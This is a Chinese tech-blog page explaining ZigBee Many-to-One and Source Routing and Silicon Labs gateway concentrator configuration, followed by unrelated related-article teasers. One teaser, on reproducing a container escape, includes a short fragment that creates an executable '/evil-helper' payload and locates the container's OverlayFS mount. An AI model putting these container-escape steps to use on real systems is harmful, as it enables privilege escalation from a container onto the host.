当前位置: 首页 > news >正文

ZigBee的Many-to-One和Source Routing

1. Many-to-One Routing

Many-to-One Routing,是一种简单的路由机制,使得整个网络中的路由设备拥有回到中心节点的路由。
在这种机制下,中心节点周期性发送Many-to-One route discovery广播(协议栈默认设置为60s,可以在Plugin中更改)。当网络中的路由设备收到这条广播之后,其拥有回到中心节点的下一跳路由,并将此跳节点信息存储在自己的路由表中。至此,只要网络中的路由设备收到Many-to-One route discovery的广播,就知道回中心节点的路由(上行路由已经确认)。

2. Source routing

Source routing,是指中心节点将发往其它路由设备的路由机制。对于中心节点而言,其还不知道下行的路由,即将信息发往每个路由设备的路由还未知。当每个路由设备发送单播到中心节点时,会在此之前发送一条Route Record给中心节点。中心节点收到这条Route Record,将这条路由反向并存储在中心节点的Source routing表里。这样,中心节点就可以通过查询Source routing表来获取发给目的节点的路由。

简而言之,只要路由设备收到Many-to-One route discovery广播,就知道回到中心节点的路由。只要中心节点的Source routing表里面有路由设备的Source routing信息,则中心节点就知道发往该路由设备的路由。

3. 芯科Silicon Labs 网关开发注意点

注意在Gateway的”Concentrator Support” Plugin里面可以配置Source routing表的大小(理论上要大于网络中的路由设备的数量)以及Concentrator Type (LowRamConcentrator以及HighRamConcentrator)。两种不同的Concentrator Type使用的RAM空间不同。

对于HighRamConcentrator,Gateway会存储所有路由节点的信息到Source routing表中。

对于LowRamConcentrator,Gateway只将部分最新的路由节点的信息存储到Source routing表中。

  1. 当设为HighRamConcentrator时,每个路由节点只有在收到Many-to-One route discovery广播之后的第一条发送给中心节点的单播时,在此之前发送一条Route Record给中心节点。中心节点收到Route Record则会更新Source routing表的路由。
  2. 当设为LowRamConcentrator时,每个路由节点发送给中心节点的单播时,都会提前发送一条Route Record给中心节点。中心节点收到Route Record则会更新Source routing表信息。

在正常网络路由建立起来之后,Gateway节点和路由节点之间的上下行通信都能正常工作。

当某种异常情况出现时,在网络组建之后的某个时刻,Gateway复位或断电重启,其Source routing表的信息会全部丢失。此时需要有相应的机制来恢复其Source routing表。否则,中心节点不能发送单播到指定目的节点。在此情况下,可以使Gateway先发送一条Many-to-One route discovery路由,之后再发送一条广播到各路由节点,使得路由节点向Gateway回复一条单播。路由节点在发送此条单播之前,会返回一条Route Record。当Gateway收到Route Record就会将此条路由重新添加到Source routing表中。

如果在某种异常情况下,路由设备节点全部断电或重启,其中各路由节点的路由表也会丢失。此时需要等待至少16s左右之后,每个路由节点建立起与邻居路由节点的链路之后。再由Gateway端发送Many-to-One route discovery广播。一旦各路由节点设备收到Many-to-One route discovery广播,就拥有了回到Gateway的路由。

4.为什么多对一路由请求需要多跳,即使我所有的节点都在很近的范围内?

在ZigBee PRO中,一个节点只能听到来自其邻居表中的节点的广播。这样做的原因是它必须跟踪与之通信的每个节点的帧计数器,并且它只能对有限数量的节点这样做。因此,当多对一路由请求发出时,只有在其邻居表中具有集中器的节点才能听到它。然后这些节点会重复这个过程,直到所有节点都有了自己的新路由。

5.以下是设计大型密集网络的一些有用提示,例如用于办公室、酒店或大型住宅区的楼宇自动化网络。

Guidelines for Large/Dense Networks with EmberZNet PRO

相关文章:

ZigBee的Many-to-One和Source Routing

1. Many-to-One Routing Many-to-One Routing,是一种简单的路由机制,使得整个网络中的路由设备拥有回到中心节点的路由。 在这种机制下,中心节点周期性发送Many-to-One route discovery广播(协议栈默认设置为60s,可以…...

七夕节 Chinese Valentine‘s Day 的由来

农历七月初七是七夕节。Qixi Festival falls on the seventh day of the seventh lunar month. 以前有一个牛郎,和他的哥哥和嫂子住在一起。他放的一头牛曾经是天庭的一个神仙,但他违反天庭的戒律,变成牛放到了人间。As the story goes,once …...

掌握JDK21全新结构化并发编程,轻松提升开发效率!

1 概要 通过引入结构化并发编程的API,简化并发编程。结构化并发将在不同线程中运行的相关任务组视为单个工作单元,从而简化错误处理和取消操作,提高可靠性,并增强可观察性。这是一个预览版的API。 2 历史 结构化并发是由JEP 42…...

【SA8295P 源码分析】00 - 系列文章链接汇总 - 持续更新中

【SA8295P 源码分析】00 - 系列文章链接汇总 - 持续更新中 一、分区、下载、GPIO等杂项相关二、开机启动流程代码分析二、OpenWFD 显示屏模块三、Touch Panel 触摸屏模块四、QUPv3 及 QNX Host透传配置五、Camera 摄像头模块(当前正在更新中...)六、网络…...

TCP拥塞控制详解 | 6. 主动队列管理

网络传输问题本质上是对网络资源的共享和复用问题,因此拥塞控制是网络工程领域的核心问题之一,并且随着互联网和数据中心流量的爆炸式增长,相关算法和机制出现了很多创新,本系列是免费电子书《TCP Congestion Control: A Systems …...

前端学习清单

顺序不分先后。 技术名称技术描述技术链接HTML5HTML5是下一代的HTML标准,是一种用于结构化内容的标记语言。MDN|HTMLCSS3CSS3是CSS技术的升级版本,它的最大好处就是可以让网页设计师更加方便的为网页添加各种各样的样式,而不用再局限于文字、…...

go atomic原子操作详细解读

文章目录 概要1、基本知识1.1 原子操作是什么1.2 CPU怎么实现原子操作的? 2、atomic包2.1、 Add函数2.2、CompareAndSwap函数2.3、Swap函数2.4、Load函数2.5、Store函数 3、atomic.Value值 概要 atomic包是golang通过对底层系统支持的原子操作进行封装,…...

Vue用JSEncrypt对长文本json加密以及发现解密失败

哈喽 大家好啊,最近发现进行加密后 超长文本后端解密失败,经过看其他博主修改 JSEncrypt原生代码如下: // 分段加密,支持中文JSEncrypt.prototype.encryptUnicodeLong function (string) {var k this.getKey();//根据key所能编…...

Excel/PowerPoint折线图从Y轴开始(两侧不留空隙)

默认Excel/PowerPoint折线图是这个样子的: 左右两侧都留了大块空白,很难看 解决方案 点击横坐标,双击,然后按下图顺序点击 效果...

C++的类成员对齐

这是个小语法点,之前我们的对齐方式都是使用#pragma pack,这个方式实际是依赖编译器,且粒度粗(如果#pragma pack(1)之后没有#pragma pack(),那就作用整个进程了)。在C11之后引入关键字alignas,以此来实现对齐更加便利,…...

敏感挂载userhelper容器逃逸复现

目录 前言 分析 实验 前言 分析 实验 # Creates a payload cat "#!/bin/sh" > /evil-helper cat "ps > /output" >> /evil-helper chmod x /evil-helper # Finds path of OverlayFS mount for container # Unless the configuration ex…...

深度解读Promise.prototype.finally

由一个问题引发的血案: 手写源码实现Promise.prototype.finally。 我们知道,对于promise来讲,当状态敲定,无论状态兑现或拒绝时都需要调用的函数,可以使用Promise.prototype.finally的回调来实现。那么如何手写实现Pro…...

如何实现24/7客户服务自动化?建设智能客服知识库

客户自助服务是指用户通过企业或者第三方建立的网络平台或者终端,实现相关的自定义处理。实现客户服务自动化,对提高客户满意度、维持客户关系至关重要。客户服务自动化可以帮助企业以更快的速度和更高的效率来满足客户的售后服务要求,以进一…...

和鲸 ModelWhale 与中科可控多款服务器完成适配认证,赋能中国云生态

当前世界正处于新一轮技术革命及传统产业数字化转型的关键期,云计算作为重要的技术底座,其产业发展与产业规模对我国数字经济的高质量运行有着不可取代的推动作用。而随着我国数字上云、企业上云加快进入常规化阶段,云计算承载的业务应用越来…...

selenium +Jmeter 的性能测试

通过Jmeter快速将已有的Selenium 代码以性能测试的方式组织起来,并使用JMeter 丰富的报表展示测试结果 from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.common.by import By driver …...

探索高效的HTTP异步接口测试方法:从轮询等待到自动化方案

本文将深入探讨HTTP异步接口测试的多个方面,包括轮询等待、性能测试以及自动化方案。通过详细的解释和实际案例,帮助您了解如何有效地测试异步接口,确保系统的稳定性和性能。 在现代软件开发中,HTTP异步接口扮演着至关重要的角色&…...

Android资深工程书之LiveData核心组件原理剖析

LiveData是Android架构组件库中的一个类,用于在应用程序组件之间共享数据。它是一种可观察的数据持有者,可以感知应用程序组件的生命周期,并在数据发生变化时通知观察者。 使用LiveData 在Android应用程序中使用LiveData,你可以…...

Vue的五种方法实现加减乘除运算

五种方法的详细说明: 计算属性(Computed Properties): 计算属性是Vue.js提供的一种便捷的属性,它根据依赖的数据动态计算出一个新的值。计算属性的值会被缓存,只有当依赖的数据发生变化时,才会…...

C++(1)Linux基础知识

经济下行,计算机就业形势严峻,为了勉励自己继续进步,继续学习代码提高核心竞争力。 安装QT Creator 首先,安装QT开发工具QT Creator 参考:2021最新Qt6开发环境(Qt Creator)安装以及卸载记录_q…...

接口自动化yaml文件读取与写入

前言 在走进yaml文件之前大家应该都很想知道他是用来干嘛的? 是的是的,他是用来做接口自动化测试的。 我们一起来学习他吧!——(一定要收藏带走哦❤) 1、yaml文件有什么作用呢? ①可作为配置文件使用—…...

零基础上手!基于vLLM的GLM-4-9B-Chat-1M模型保姆级部署指南

零基础上手!基于vLLM的GLM-4-9B-Chat-1M模型保姆级部署指南 1. 模型简介与核心优势 GLM-4-9B-Chat-1M是智谱AI推出的最新一代开源对话模型,基于vLLM框架部署,支持惊人的1M上下文长度(约200万中文字符)。这个模型在多…...

DeepSeek API实战:如何用Python脚本绕过Postman直接调用(附完整代码)

DeepSeek API高效调用指南:Python脚本开发实战 在当今快节奏的开发环境中,效率是衡量开发者生产力的关键指标。传统API测试工具如Postman虽然功能强大,但在自动化流程和持续集成场景中往往显得笨重。本文将带你探索一种更轻量、更灵活的解决方…...

Qwen3-TTS-12Hz-1.7B-CustomVoice惊艳效果:葡萄牙语足球解说+俄语天气预报语音集

Qwen3-TTS-12Hz-1.7B-CustomVoice惊艳效果:葡萄牙语足球解说俄语天气预报语音集 1. 多语言语音合成的突破性进展 语音合成技术正在经历一场革命性的变革,而Qwen3-TTS-12Hz-1.7B-CustomVoice无疑是这场变革中的佼佼者。这个模型不仅在技术架构上实现了重…...

Scratch3.0离线编辑器安装指南:一步步教你轻松搞定

1. 为什么你需要Scratch3.0离线编辑器 Scratch作为全球最受欢迎的少儿编程工具,它的在线版本虽然方便,但经常会遇到网络不稳定、加载缓慢的问题。我去年给小学生上课时就遇到过这种情况——全班40个孩子同时登录在线编辑器,结果服务器直接卡死…...

OpenClaw多通道管理:百川2-13B-4bits量化模型同时接入飞书与钉钉

OpenClaw多通道管理:百川2-13B-4bits量化模型同时接入飞书与钉钉 1. 为什么需要多通道管理? 上个月我遇到一个尴尬场景:团队部分成员用飞书沟通,另一部分用钉钉。当我尝试用OpenClaw搭建自动化助手时,不得不在两个平…...

Windows Cleaner终极指南:三步解决C盘爆红,让电脑重获新生

Windows Cleaner终极指南:三步解决C盘爆红,让电脑重获新生 【免费下载链接】WindowsCleaner Windows Cleaner——专治C盘爆红及各种不服! 项目地址: https://gitcode.com/gh_mirrors/wi/WindowsCleaner 当你的C盘进度条变成刺眼的红色…...

告别MIPI传感器:用Hi3559A的VI CMOS接口接收BT.1120/656数字信号的完整流程

Hi3559A数字视频接口开发实战:从MIPI传感器到BT.1120信号处理的全面转型指南 当海思Hi3559A开发者需要从熟悉的MIPI传感器对接转向处理专业级数字视频信号时,往往会面临硬件架构理解与软件配置的双重挑战。本文将深入剖析VI模块在数字视频接口模式下的工…...

10分钟语音如何训练专业级变声模型?Retrieval-based Voice-Conversion-WebUI全攻略

10分钟语音如何训练专业级变声模型?Retrieval-based Voice-Conversion-WebUI全攻略 【免费下载链接】Retrieval-based-Voice-Conversion-WebUI 语音数据小于等于10分钟也可以用来训练一个优秀的变声模型! 项目地址: https://gitcode.com/GitHub_Trendi…...

BepInEx Linux部署实战指南:从环境诊断到故障自愈

BepInEx Linux部署实战指南:从环境诊断到故障自愈 【免费下载链接】BepInEx Unity / XNA game patcher and plugin framework 项目地址: https://gitcode.com/GitHub_Trending/be/BepInEx 一、环境诊断:你的Linux系统准备好了吗? 为什…...

嵌入式LCD轻量级驱动库:双缓冲与脏区域优化

1. 项目概述Lctrl_Lcd是一个面向嵌入式平台的轻量级 LCD 显示控制库,其设计目标并非替代完整的图形框架(如 LVGL 或 emWin),而是为裸机(Bare-Metal)或实时操作系统(RTOS)环境下的中低…...